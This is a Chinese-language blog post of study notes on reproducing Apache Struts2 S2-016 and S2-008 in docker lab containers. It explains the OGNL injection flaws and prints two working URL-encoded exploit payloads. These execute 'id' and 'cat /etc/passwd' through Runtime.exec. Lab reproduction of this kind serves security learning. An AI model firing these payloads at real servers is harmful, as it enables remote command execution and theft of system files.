漏洞复现学习笔记
Published in:2024-02-26 | category: 漏洞复现 struts2

漏洞复现学习笔记

1.Struts2

1.1Struts2 S2-016 漏洞环境

1
2
3
4
5
1.拉取镜像到本地
docker pull medicean/vulapps:s_struts2_s2-016
2.启动环境
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-016
-p 80:8080 前面的 80 代表物理机的端口,可随意指定。

EXP

1
/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D

1.2Struts2 S2-008

漏洞环境

1
2
3
4
5
拉取镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-008
启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-008

1
2
3
4
5
6
7
8
Struts <= 2.2.3 ( ExceptionDelegator)
中的远程命令执行当将参数值应用于属性时发生异常时,该值将被评估为 OGNL 表达式。例如,将字符串值设置为整数属性时会发生这种情况。由于未过滤这些值,攻击者可以滥用 OGNL 语言的功能来执行任意 Java 代码,从而导致远程命令执行。此问题已报告 ( https://issues.apache.org/jira/browse/WW-3668 ) 并已在 Struts 2.2.3.1 中修复。然而,执行任意 Java 代码的能力被忽略了。
Struts <= 2.3.1 中的远程命令执行( CookieInterceptor)
参数名称的字符白名单不适用于CookieInterceptor. 当 Struts 被配置为处理 cookie 名称时,攻击者可以通过静态方法访问 Java 函数来执行任意系统命令。allowStaticMethodAccess因此,可以在请求中将该标志设置为 true。
ParameterInterceptorStruts <= 2.3.1 ( )中的任意文件覆盖
虽然自 Struts 2.2.3.1 起禁止访问参数中的标志allowStaticMethodAccess,但攻击者仍然可以仅使用一个 String 类型的参数访问公共构造函数来创建新的 Java 对象并仅使用一个字符串类型的参数。这可以在示例中被滥用来创建和覆盖任意文件。要将禁用字符注入文件名,可以使用未初始化的字符串属性。
Struts <= 2.3.17 ( DebuggingInterceptor)
中的远程命令执行虽然本身不​​是一个安全漏洞,但请注意,在开发人员模式下运行并使用 的应用程序DebuggingInterceptor也容易远程执行命令。虽然应用程序不应该在生产期间以开发人员模式运行,但开发人员应该意识到这样做不仅会产生性能问题(如文档所述),还会产生严重的安全影响。

exp

1
/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29)
Prev:
简单的免杀学习
Next:
后渗透模块学习